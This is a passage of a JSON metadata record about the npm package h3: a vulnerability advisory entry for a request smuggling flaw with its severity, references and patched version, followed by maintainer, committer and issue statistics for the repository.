e.trim().toLowerCase())`","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-15T20:10:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/h3js/h3/security/advisories/GHSA-mp2g-9vg9-f4cg","https://github.com/h3js/h3/releases/tag/v1.15.5","https://nvd.nist.gov/vuln/detail/CVE-2026-23527","https://github.com/h3js/h3/commit/618ccf4f37b8b6148bea7f36040471af45bfb097","https://simonkoeck.com/writeups/h3-transfer-encoding-request-smuggling","https://github.com/advisories/GHSA-mp2g-9vg9-f4cg"],"source_kind":"github","identifiers":["GHSA-mp2g-9vg9-f4cg","CVE-2026-23527"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-15T21:00:08.106Z","updated_at":"2026-05-07T07:01:58.450Z","epss_percentage":0.00037,"epss_percentile":0.10877,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcDJnLTl2ZzktZjRjZ84ABRIs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcDJnLTl2ZzktZjRjZ84ABRIs","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"1.15.5","vulnerable_version_range":"\u003c= 1.15.4"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcDJnLTl2ZzktZjRjZ84ABRIs/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/h3","docker_dependents_count":187,"docker_downloads_count":1007652,"usage_url":"https://repos.ecosyste.ms/usage/npm/h3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/h3/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2024-10-29T21:28:02.592Z","issues_count":309,"pull_requests_count":386,"avg_time_to_close_issue":7338373.8342245985,"avg_time_to_close_pull_request":983200.9566473989,"issues_closed_count":186,"pull_requests_closed_count":346,"pull_request_authors_count":98,"issue_authors_count":171,"avg_comments_per_issue":1.9579288025889967,"avg_comments_per_pull_request":1.2461139896373057,"merged_pull_requests_count":300,"bot_issues_count":1,"bot_pull_requests_count":100,"past_year_issues_count":176,"past_year_pull_requests_count":249,"past_year_avg_time_to_close_issue":4681795.085365853,"past_year_avg_time_to_close_pull_request":1028540.7123287672,"past_year_issues_closed_count":81,"past_year_pull_requests_closed_count":219,"past_year_pull_request_authors_count":69,"past_year_issue_authors_count":99,"past_year_avg_comments_per_issue":1.3068181818181819,"past_year_avg_comments_per_pull_request":0.9678714859437751,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":63,"past_year_merged_pull_requests_count":183,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/issues","maintainers":[{"login":"pi0","count":106,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"},{"login":"Barbapapazes","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Barbapapazes"},{"login":"Hebilicious","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Hebilicious"},{"login":"danielroe","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"},{"login":"NozomuIkuta","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/NozomuIkuta"},{"login":"Atinux","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Atinux"},{"login":"manniL","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/manniL"},{"login":"cpreston321","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cpreston321"},{"login":"itpropro","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/itpropro"}],"active_maintainers":[{"login":"pi0","count":58,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"},{"login":"Barbapapazes","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Barbapapazes"},{"login":"manniL","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/manniL"},{"login":"NozomuIkuta","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/NozomuIkuta"},{"login":"danielroe","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"},{"login":"Atinux","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Atinux"},{"login":"cpreston321","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/cpreston321"},{"login":"itpropro","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/itpropro"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3/codemeta","maintainers":[{"uuid":"pi0","login":"pi0","name":null,"email":"pyapar@gmail.com","url":null,"packages_count":689,"html_url":"https://www.npmjs.com/~pi0","role":null,"created_at":"2022-11-20T04:07:22.574Z","updated_at":"2022-11-20T04:07:22.574Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/pi0/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5622280,"maintainers_count":1192646,"namespaces_count":373614,"keywords_count":0,"github":"npm","metadata":{"funded_packages_count":166557},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-04-03T05:46:01.652Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":9752544,"full_name":"h3js/h3","default_branch":"main","total_commits":1358,"total_committers":151,"total_bot_commits":176,"total_bot_committers":2,"mean_commits":8.993377483443709,"dds":0.3799705449189985,"past_year_total_commits":378,"past_year_total_committers":47,"past_year_total_bot_commits":6,"past_year_total_bot_committers":2,"past_year_mean_commits":8.042553191489361,"past_year_dds":0.26455026455026454,"last_synced_at":"2026-05-15T06:12:28.392Z","last_synced_commit":"84244b49b84e6ce6260d6b3a3590409e0d525fab","created_at":"2025-04-22T11:48:58.694Z","updated_at":"2026-05-15T06:07:22.913Z","committers":[{"name":"Pooya Parsa","email":"pooya@pi0.io","login":"pi0","count":842},{"name":"renovate[bot]","email":"29139614+renovate[bot]","login":"renovate[bot]","count":156},{"name":"Daniel Roe","email":"daniel@roe.dev","login":"danielroe","count":49},{"name":"autofix-ci[bot]","email":"114827586+autofix-ci[bot]","login":"autofix-ci[bot]","count":20},{"name":"@beer","email":"47961062+iiio2","login":"iiio2","count":19},{"name":"Wind","email":"hi@productdevbook.com","login":"productdevbook","count":17},{"name":"Kricsleo","email":"32707098+kricsleo","login":"kricsleo","count":14},{"name":"Sébastien Chopin","email":"seb@nuxtjs.com","login":"atinux","count":11},{"name":"Estéban","email":"esteban.soubiran@insa-cvl.fr","login":"Barbapapazes","count":8},{"name":"Heb","email":"xsh4k3@gmail.com","login":"Hebilicious","count":7},{"name":"Sandro Circi","email":"sandro.circi@digitoolmedia.com","login":"sandros94","count":7},{"name":"huseeiin","email":"122984423+huseeiin","login":"huseeiin","count":6},{"name":"Nozomu Ikuta","email":"16436160+NozomuIkuta","login":"NozomuIkuta","count":6},{"name":"Alexander Lichter","email":"github@lichter.io","login":"manniL","count":5},{"name":"Nozomu Ikuta","email":"nick.0508.nick@gmail.com","login":"nozomuikuta","count":5},{"name":"Haruaki OTAKE","email":"aaharu@hotmail.com","login":"aaharu","count":4},{"name":"Michael Brevard","email":"yonshi29@gmail.com","login":"GalacticHypernova","count":4},{"name":"Abdelrahman Awad","email":"abdelrahman.awad@sentry.io","login":"logaretm","count":3},{"name":"Arkadiusz Sygulski","email":"arkadiusz@sygulski.pl","login":"Aareksio","count":3},{"name":"Yuki Tsujimoto","email":"46666464+ytjmt","login":"ytjmt","count":3},{"name":"Tobias Diez","email":"code@tobiasdiez.com","login":"tobiasdiez","count":3},{"name":"Nick Spaargaren","email":"20847106+nickspaargaren","login":"nickspaargaren","count":3},{"name":"Anthony Fu","email":"anthonyfu117@hotmail.com","login":"antfu","count":3},{"name":"ChangJoo Park(박창주)","email":"pcjpcj2@gmail.com","login":"ChangJoo-Park","count":3},{"name":"Damian Głowala","email":"damian.glowala.rebkow@gmail.com","login":"DamianGlowala","count":3},{"name":"Minsu Lee","email":"amond@amond.net","login":"amondnet","count":3},{"name":"Kanon","email":"44870505+ysknsid25","login":"ysknsid25","count":3},{"name":"Harlan Wilton","email":"harlan@harlanzw.com","login":"harlan-zw","count":3},{"name":"Joshua Sosso","email":"josh@modiimedia.com","login":"joshmossas","count":2},{"name":"Legacy","email":"52163001+3m1n3nc3","login":"3m1n3nc3","count":2},{"name":"Octavio Araiza","email":"60367571+8ctavio","login":"8ctavio","count":2},{"name":"Robert Soriano","email":"sorianorobertc@gmail.com","login":"wobsoriano","count":2},{"name":"Shun Git","email":"kwokshungit@gmail.com","login":"randName","count":2},{"name":"Torsten Dittmann","email":"torsten.dittmann@googlemail.com","login":"TorstenDittmann","count":2},{"name":"kazuya kawaguchi","email":"kawakazu80@gmail.com","login":"kazupon","count":2},{"name":"markthree","email":"1801982702@qq.com","login":"markthree","count":2},{"name":"zhiyuanzmj","email":"32807958+zhiyuanzmj","login":"zhiyuanzmj","count":2},{"name":"Валентин Степанов","email":"62594983+teleskop150750","login":"teleskop150750","count":2},{"name":"Ahad Birang","email":"farnabaz@gmail.com","login":"farnabaz","count":2},{"name":"Jonas Thelemann","email":"e-mail@jonas-thelemann.de","login":"dargmuesli","count":2},{"name":"Bobbie Goede","email":"bobbiegoede@gmail.com","login":"BobbieGoede","count":2},{"name":"Connor Pearson","email":"cjpearson","login":"cjpearson","count":2},{"name":"Daniel Slepov","email":"danil.slepov@gmail.com","login":"imslepov","count":2},{"name":"Divyansh Singh","email":"40380293+brc-dd","login":"brc-dd","count":2},{"name":"Enkot","email":"taras.batenkov@gmail.com","login":"enkot","count":2},{"name":"Horu","email":"73709188+HigherOrderLogic","login":"HigherOrderLogic","count":2},{"name":"Iain Sproat","email":"68657+iainsproat","login":"iainsproat","count":2},{"name":"魔王少年","email":"q267009886.tw@gmail.com","login":"maou-shonen","count":2},{"name":"Seho","email":"1018715564@qq.com","login":"seho-dev","count":2},{"name":"Sacha STAFYNIAK","email":"sacha.stafyniak@gmail.com","login":"stafyniaksacha","count":2},{"name":"Sören Schwert","email":"hello@soerenschwert.de","login":"sisou","count":1},{"name":"Simon Gurcke","email":"simon@gurcke.de","login":"itssimon","count":1},{"name":"Shyam Chen","email":"shyamchen1994@gmail.com","login":"Shyam-Chen","count":1},{"name":"Shahriar Rahi","email":"md.alshahriarrahi@gmail.com","login":"Shahriar-Rahi","count":1},{"name":"Ryan Frantz","email":"ryanleefrantz@gmail.com","login":"RyanFrantz","count":1},{"name":"Roman Hrynevych","email":"82209198+romanhrynevych","login":"romanhrynevych","count":1},{"name":"Roger!","email":"38413630+icarusgk","login":"icarusgk","count":1},{"name":"Rijk van Zanten","email":"rijkvanzanten@me.com","login":"rijkvanzanten","count":1},{"name":"Reve","email":"aquaplmc@gmail.com","login":"aquapi","count":1},{"name":"Oscar Beaumont","email":"oscar@otbeaumont.me","login":"oscartbeaumont","count":1},{"name":"Omar Attia","email":"96920246+OmarMAttia7","login":"OmarMAttia7","count":1},{"name":"Oleg Khalin","email":"oleghalin","login":"oleghalin","count":1},{"name":"Nils K","email":"24257556+septatrix","login":"septatrix","count":1},{"name":"Ngob","email":"ngobenoit@gmail.com","login":"Ngob","count":1},{"name":"Neil Richter","email":"me@neilrichter.com","login":"noook","count":1},{"name":"Naveen Mathew","email":"55116576+nmathew98","login":"nmathew98","count":1},{"name":"Nariman","email":"nariman.movaffaghi@gmail.com","login":"Narixius","count":1},{"name":"Michel Edighoffer","email":"m.edighoffer@france-solar.fr","login":"fredimitchel","count":1},{"name":"Michel EDIGHOFFER","email":"edimitchel@gmail.com","login":"edimitchel","count":1},{"name":"Daniel Rentz","email":"danielrentz","login":"danielrentz","count":1},{"name":"Conner","email":"github@conner-bachmann.de","login":"Intevel","count":1},{"name":"Christopher King","email":"chris@coyfox.net","login":"chmking","count":1},{"name":"Christian Höhne","email":"36817077+bombur51","login":"bombur51","count":1},{"name":"Łukasz Wołodkiewicz","email":"46906474+wolodek","login":"wolodek","count":1},{"name":"Ígor Jacaúna","email":"459127+igorjacauna","login":"igorjacauna","count":1},{"name":"xjccc","email":"546534045@qq.com","login":"xjccc","count":1},{"name":"wuiyang","email":"wuiyang@live.com","login":"wuiyang","count":1},{"name":"trian damai","email":"triannurizkillah@gmail.com","login":"triandamai","count":1},{"name":"rinsuki","email":"428rinsuki+git@gmail.com","login":"rinsuki","count":1},{"name":"remonke","email":"102010617+remonke","login":"remonke","count":1},{"name":"patak","email":"583075+patak-dev","login":"patak-dev","count":1},{"name":"nandi95","email":"41805560+nandi95","login":"nandi95","count":1},{"name":"meir lamdan","email":"meirlamdan","login":"meirlamdan","count":1},{"name":"lnbin","email":"lnbin666@gmail.com","login":"lnbin","count":1},{"name":"kongmoumou","email":"35442047+kongmoumou","login":"kongmoumou","count":1},{"name":"kanonji","email":"kanonji","login":"kanonji","count":1},{"name":"javad mnjd","email":"javad.mnjd@hotmail.com","login":"jd1378","count":1},{"name":"homersimpsons","email":"guillaume.alabre@gmail.com","login":"homersimpsons","count":1},{"name":"gene ._.","email":"135520429+outslept","login":"outslept","count":1},{"name":"ckvv","email":"k_0520@qq.com","login":"ckvv","count":1},{"name":"Dardan Bujupaj","email":"dardan@ax.tech","login":"dardanbujupaj","count":1},{"name":"Yusuf Mansur Özer","email":"ymansurozer@gmail.com","login":"ymansurozer","count":1},{"name":"Yann","email":"aubriotyann@gmail.com","login":"Shhu","count":1},{"name":"Vladimir Kutepov","email":"frenzzy.man@gmail.com","login":"frenzzy","count":1},{"name":"Vladimir Ivakhno","email":"42155444+wvovaw","login":"wvovaw","count":1},{"name":"Valentin Dzhankhotov","email":"vushe@yandex.ru","login":"vushe","count":1},{"name":"Typed SIGTERM","email":"typed.sigterm@gmail.com","login":"typed-sigterm","count":1},{"name":"Terminal Chai","email":"terminalchai@gmail.com","login":"terminalchai","count":1},{"name":"Chris","email":"chrisbreuer93@gmail.com","login":"chrisbbreuer","count":1},{"name":"Jacob Long","email":"36164786+Jclong98","login":"Jclong98","count":1},{"name":"Jaden","email":"me@jaden.bio","login":"JAD3N","count":1},{"name":"Jerel Miller","email":"jerelmiller@gmail.com","login":"jerelmiller","count":1},{"name":"JianJroh","email":"45714701+JianJroh","login":"JianJroh","count":1},{"name":"JoLo","email":"54506108+jolo-dev","login":"jolo-dev","count":1},{"name":"Johann Schopplich","email":"mail@johannschopplich.com","login":"johannschopplich","count":1},{"name":"Jordy","email":"dev@jordypereira.be","login":"jordypereira","count":1},{"name":"Joshua","email":"66284362+kohasummons","login":"kohasummons","count":1},{"name":"Kamil Kuczmera","email":"5689375+unite4","login":"unite4","count":1},{"name":"Keigo Nakao","email":"54620036+kspace-trk","login":"kspace-trk","count":1},{"name":"Kevin Dyes","email":"kevin.dyes@icloud.com","login":"dyeske61283","count":1},{"name":"Kevin Marrec","email":"kevin@marrec.io","login":"kevinmarrec","count":1},{"name":"KobZ","email":"62311724+devseckobz","login":"devseckobz","count":1},{"name":"Larry Williamson","email":"l422y@l422y.com","login":"L422Y","count":1},{"name":"Leonardo Borges Avelino","email":"lborgav@gmail.com","login":"lborgav","count":1},{"name":"Lucas Nørgård","email":"lucasnrgaard@gmail.com","login":"luxass","count":1},{"name":"Mak","email":"mmmm.mm@mail.com","login":"Makkalay","count":1},{"name":"Martin Meixger","email":"martin@meixger.com","login":"meixger","count":1},{"name":"Matej Černý","email":"112722215+CernyMatej","login":"CernyMatej","count":1},{"name":"Mathieu Derelle","email":"mathieu.derelle@gmail.com","login":"MathieuDerelle","count":1},{"name":"Matthias Zaunseder","email":"matthias.zaunseder@hotmail.de","login":"zauni","count":1},{"name":"Max","email":"maximogarciamtnez@gmail.com","login":"onmax","count":1},{"name":"Max","email":"mstaack","login":"mstaack","count":1},{"name":"Maxime Pauvert","email":"maximepvrt@gmail.com","login":"maximepvrt","count":1},{"name":"Med Talhaouy","email":"79597452+tal7aouy","login":"tal7aouy","count":1},{"name":"Michael J. Roberts","email":"84131395+michealroberts","login":"michealroberts","count":1},{"name":"Chad McElligott","email":"chad.mcelligott@gmail.com","login":"chadxz","count":1},{"name":"Cerino Ligutom III","email":"zeferinix@gmail.com","login":"cerinoligutom","count":1},{"name":"Bram Kamies","email":"146706532+passionate-bram","login":"passionate-bram","count":1},{"name":"Andrei Elkin","email":"andreyyolkin@gmail.com","login":"AndreyYolkin","count":1},{"name":"Amit Gurbani","email":"amit1994.gurbani@gmail.com","login":"AmitGurbani","count":1},{"name":"Alireza Jahandideh","email":"ar.jahandideh@gmail.com","login":"Youhan","count":1},{"name":"Ali Torki","email":"ali_4286@live.com","login":"ali-master","count":1},{"name":"Abderrahim SOUBAI-ELIDRISI","email":"gx.coder@gmail.com","login":"soub4i","count":1},{"name":"_lmmmmmm","email":"lmmmmmm12138@gmail.com","login":"Lmmmmmm-bb","count":1},{"name":"Indrek Ardel","email":"indrek@ardel.eu","login":"Ingramz","count":1},{"name":"Ilya Semenov","email":"ilya@semenov.co","login":"IlyaSemenov","count":1},{"name":"Iha Shin (신의하)","email":"me@xiniha.dev","login":"XiNiHa","count":1},{"name":"Hugo Muller","email":"4454404+HugoMuller","login":"HugoMuller","count":1},{"name":"Guten","email":"ywzhaifei@gmail.com","login":"gutenye","count":1},{"name":"Gulshan","email":"gulshanur@gmail.com","login":"gulshan","count":1},{"name":"Gregor Becker","email":"gregor@codedredd.de","login":"CodeDredd","count":1},{"name":"Gabriel Trzimajewski","email":"95551770+Sn0wye","login":"Sn0wye","count":1},{"name":"Evgenii Troinov","email":"etroynov","login":"etroynov","count":1},{"name":"Emīls Gulbis","email":"emils.gulbis@gmail.com","login":"emilsgulbis","count":1},{"name":"Eckhardt (Kaizen) Dreyer","email":"eckhardt.dreyer@gmail.com","login":"Eckhardt-D","count":1},{"name":"Drackin Best","email":"78258229+Drackin","login":"Drackin","count":1},{"name":"Dog","email":"104234930+dgxo","login":"dgxo","count":1},{"name":"Deth","email":"gabriel@rosa.dev.br","login":"dethdkn","count":1},{"name":"David De Sloovere","email":"352626+DavidDeSloovere","login":"DavidDeSloovere","count":1},{"name":"87xie","email":"oscar87xie@gmail.com","login":"87xie","count":1},{"name":"Israel Ortuño","email":"ai.ortuno@gmail.com","login":"IsraelOrtuno","count":1}],"past_year_committers":[{"name":"Pooya Parsa","email":"pooya@pi0.io","login":"pi0","count":278},{"name":"Wind","email":"hi@productdevbook.com","login":"productdevbook","count":17},{"name":"Kricsleo","email":"32707098+kricsleo","login":"kricsleo","count":8},{"name":"Sandro Circi","email":"sandro.circi@digitoolmedia.com","login":"sandros94","count":7},{"name":"huseeiin","email":"122984423+huseeiin","login":"huseeiin","count":6},{"name":"abeer0","email":"47961062+iiio2","login":"iiio2","count":5},{"name":"autofix-ci[bot]","email":"114827586+autofix-ci[bot]","login":"autofix-ci[bot]","count":5},{"name":"Daniel Roe","email":"daniel@roe.dev","login":"danielroe","count":3},{"name":"Minsu Lee","email":"amond@amond.net","login":"amondnet","count":3},{"name":"Nick Spaargaren","email":"20847106+nickspaargaren","login":"nickspaargaren","count":3},{"name":"Abdelrahman Awad","email":"abdelrahman.awad@sentry.io","login":"logaretm","count":3},{"name":"Валентин Степанов","email":"62594983+teleskop150750","login":"teleskop150750","count":2},{"name":"Shun Git","email":"kwokshungit@gmail.com","login":"randName","count":2},{"name":"Octavio Araiza","email":"60367571+8ctavio","login":"8ctavio","count":2},{"name":"Legacy","email":"52163001+3m1n3nc3","login":"3m1n3nc3","count":2},{"name":"87xie","email":"oscar87xie@gmail.com","login":"87xie","count":1},{"name":"Bobbie Goede","email":"bobbiegoede@gmail.com","login":"BobbieGoede","count":1},{"name":"Christian Höhne","email":"36817077+bombur51","login":"bombur51","count":1},{"name":"Connor Pearson","email":"cjpearson","login":"cjpearson","count":1},{"name":"Daniel Slepov","email":"danil.slepov@gmail.com","login":"imslepov","count":1},{"name":"Dardan Bujupaj","email":"dardan@ax.tech","login":"dardanbujupaj","count":1},{"name":"David De Sloovere","email":"352626+DavidDeSloovere","login":"DavidDeSloovere","count":1},{"name":"Divyansh Singh","email":"40380293+brc-dd","login":"brc-dd","count":1},{"name":"wuiyang","email":"wuiyang@live.com","login":"wuiyang","count":1},{"name":"renovate[bot]","email":"29139614+renovate[bot]","login":"renovate[bot]","count":1},{"name":"markthree","email":"1801982702@qq.com","login":"markthree","count":1},{"name":"kazuya kawaguchi","email":"kawakazu80@gmail.com","login":"kazupon","count":1},{"name":"homersimpsons","email":"guillaume.alabre@gmail.com","login":"homersimpsons","count":1},{"name":"gene ._.","email":"135520429+outslept","login":"outslept","count":1},{"name":"ckvv","email":"k_0520@qq.com","login":"ckvv","count":1},{"name":"Vladimir Ivakhno","email":"42155444+wvovaw","login":"wvovaw","count":1},{"name":"Terminal Chai","email":"terminalchai@gmail.com","login":"terminalchai","count":1},{"name":"Sébastien Chopin","email":"seb@nuxtjs.com","login":"atinux","count":1},{"name":"Simon Gurcke","email":"simon@gurcke.de","login":"itssimon","count":1},{"name":"Rijk van Zanten","email":"rijkvanzanten@me.com","login":"rijkvanzanten","count":1},{"name":"Reve","email":"aquaplmc@gmail.com","login":"aquapi","count":1},{"name":"Nils K","email":"24257556+septatrix","login":"septatrix","count":1},{"name":"Max","email":"maximogarciamtnez@gmail.com","login":"onmax","count":1},{"name":"Lucas Nørgård","email":"lucasnrgaard@gmail.com","login":"luxass","count":1},{"name":"Kevin Dyes","email":"kevin.dyes@icloud.com","login":"dyeske61283","count":1},{"name":"Keigo Nakao","email":"54620036+kspace-trk","login":"kspace-trk","count":1},{"name":"Kanon","email":"44870505+ysknsid25","login":"ysknsid25","count":1},{"name":"Ilya Semenov","email":"ilya@semenov.co","login":"IlyaSemenov","count":1},{"name":"Hugo Muller","email":"4454404+HugoMuller","login":"HugoMuller","count":1},{"name":"Haruaki OTAKE","email":"aaharu@hotmail.com","login":"aaharu","count":1},{"name":"Gabriel Trzimajewski","email":"95551770+Sn0wye","login":"Sn0wye","count":1},{"name":"Drackin Best","email":"78258229+Drackin","login":"Drackin","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-05-16T00:00:17.015Z","repositories_count":6235294,"commits_count":884575849,"contributors_count":34906863,"owners_count":1153928,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"h3js/h3","html_url":"https://github.com/h3js/h3","last_synced_at":"2026-05-15T06:05:02.553Z","status":"active","issues_count":66,"pull_requests_count":221,"avg_time_to_close_issue":9424767.322580645,"avg_time_to_close_pull_request":1437245.5454545454,"issues_closed_count":31,"pull_requests_closed_count":165,"pull_request_authors_count":58,"issue_authors_count":46,"avg_comments_per_issue":1.7121212121212122,"avg_comments_per_pull_request":1.5203619909502262,"merged_pull_requests_count":136,"bot_issues_count":0,"bot_pull_requests_count":11,"past_year_issues_count":50,"past_year_pull_requests_count":164,"past_year_avg_time_to_close_issue":843723.5909090909,"past_year_avg_time_to_close_pull_request":263598.0775862069,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":116,"past_year_pull_request_authors_count":46,"past_year_issue_authors_count":35,"past_year_avg_comments_per_issue":1.54,"past_year_avg_comments_per_pull_request":1.5670731707317074,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":7,"past_year_merged_pull_requests_count":98,"created_at":"2025-04-22T11:48:58.879Z","updated_at":"2026-05-15T06:05:02.553Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/issues","issue_labels_count":{"table":{"bug":30,"enhancement":25,"documentation":4,"v1":3,"security":2,"discussion":1,"wontfix":1,"types":1,"nitro":1}},"pull_request_labels_count":{"table":{"v1":8,"enhancement":4,"v2":3,"bug":1}},"issue_author_associations_count":{"table":{"NONE":43,"CONTRIBUTOR":18,"MEMBER":5}},"pull_request_author_associations_count":{"table":{"MEMBER":119,"CONTRIBUTOR":56,"NONE":46}},"issue_authors":{"table":{"huseeiin":10,"IlyaSemenov":4,"pi0":3,"productdevbook":2,"TheBrenny":2,"gulshan":2,"septatrix":2,"itssimon":2,"Pinegin":2,"drewbaker":1,"PierreNodles":1,"jvliwanag":1,"43081j":1,"jd-solanki":1,"Rednas83":1,"mihaon":1,"brunohstein":1,"dyeske61283":1,"Kai-ros":1,"randName":1,"Narixius":1,"bombur51":1,"WooHoo-Wu":1,"donywan":1,"autofix-troubleshooter":1,"alanraison":1,"catalina-uphold":1,"hahavenn":1,"JinJieBeWater":1,"homersimpsons":1,"kirpalmakanga":1,"DavidDeSloovere":1,"8ctavio":1,"kaaax0815":1,"pajecawav":1,"Barbapapazes":1,"binyamin":1,"JHolcman-T":1,"nksaraf":1,"maxdzin":1,"birkskyum":1,"aturingmachine":1,"jakobrosenberg":1,"cjpearson":1,"ckvv":1,"daron81":1}},"pull_request_authors":{"table":{"pi0":70,"kricsleo":33,"sandros94":12,"productdevbook":12,"renovate[bot]":11,"iiio2":7,"huseeiin":6,"danielroe":5,"teleskop150750":3,"luxass":2,"DavidDeSloovere":2,"markthree":2,"guoyangzhen":2,"terminalchai":2,"BobbieGoede":2,"Narixius":2,"rijkvanzanten":2,"JHolcman-T":2,"wvovaw":2,"mixelburg":2,"maximepvrt":2,"septatrix":2,"Youhan":1,"3m1n3nc3":1,"birkskyum":1,"Waleed-KH":1,"itssimon":1,"Drackin":1,"amondnet":1,"randName":1,"trivikr":1,"chadxz":1,"gulshan":1,"ahmetguness":1,"DallasHoff":1,"87xie":1,"LikiosSedo":1,"IlyaSemenov":1,"izoukhai":1,"ckvv":1,"sirenkovladd":1,"dyeske61283":1,"wuiyang":1,"nickspaargaren":1,"ysknsid25":1,"eanavitarte":1,"aaharu":1,"aquapi":1,"onmax":1,"nerdoza":1,"imslepov":1,"ruguoba":1,"kspace-trk":1,"ismailsabet":1,"outslept":1,"8ctavio":1,"logaretm":1,"atinux":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-05-17T00:00:41.354Z","repositories_count":14624827,"issues_count":34213198,"pull_requests_count":111954829,"authors_count":11264615,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"bug":24,"enhancement":19,"documentation":4,"discussion":1,"v1":1,"wontfix":1}},"past_year_pull_request_labels_count":{"table":{"enhancement":3,"bug":1,"v2":1}},"past_year_issue_author_associations_count":{"table":{"NONE":30,"CONTRIBUTOR":15,"MEMBER":4}},"past_year_pull_request_author_associations_count":{"table":{"MEMBER":93,"CONTRIBUTOR":37,"NONE":32}},"past_year_issue_authors":{"table":{"huseeiin":8,"TheBrenny":2,"septatrix":2,"itssimon":2,"IlyaSemenov":2,"productdevbook":2,"Pinegin":2,"pi0":2,"gulshan":2,"jd-solanki":1,"JinJieBeWater":1,"Kai-ros":1,"kirpalmakanga":1,"mihaon":1,"nksaraf":1,"pajecawav":1,"randName":1,"Rednas83":1,"WooHoo-Wu":1,"jakobrosenberg":1,"homersimpsons":1,"hahavenn":1,"dyeske61283":1,"donywan":1,"DavidDeSloovere":1,"daron81":1,"ckvv":1,"catalina-uphold":1,"bombur51":1,"birkskyum":1,"binyamin":1,"aturingmachine":1,"alanraison":1,"8ctavio":1}},"past_year_pull_request_authors":{"table":{"pi0":64,"productdevbook":12,"sandros94":11,"renovate[bot]":7,"kricsleo":6,"huseeiin":6,"danielroe":4,"teleskop150750":3,"mixelburg":2,"markthree":2,"luxass":2,"iiio2":2,"guoyangzhen":2,"rijkvanzanten":2,"DavidDeSloovere":2,"BobbieGoede":2,"septatrix":2,"terminalchai":2,"wvovaw":2,"ruguoba":1,"randName":1,"sirenkovladd":1,"trivikr":1,"outslept":1,"onmax":1,"nickspaargaren":1,"Waleed-KH":1,"wuiyang":1,"3m1n3nc3":1,"87xie":1,"8ctavio":1,"ahmetguness":1,"amondnet":1,"aquapi":1,"atinux":1,"birkskyum":1,"ckvv":1,"Drackin":1,"dyeske61283":1,"gulshan":1,"IlyaSemenov":1,"itssimon":1,"izoukhai":1,"kspace-trk":1,"LikiosS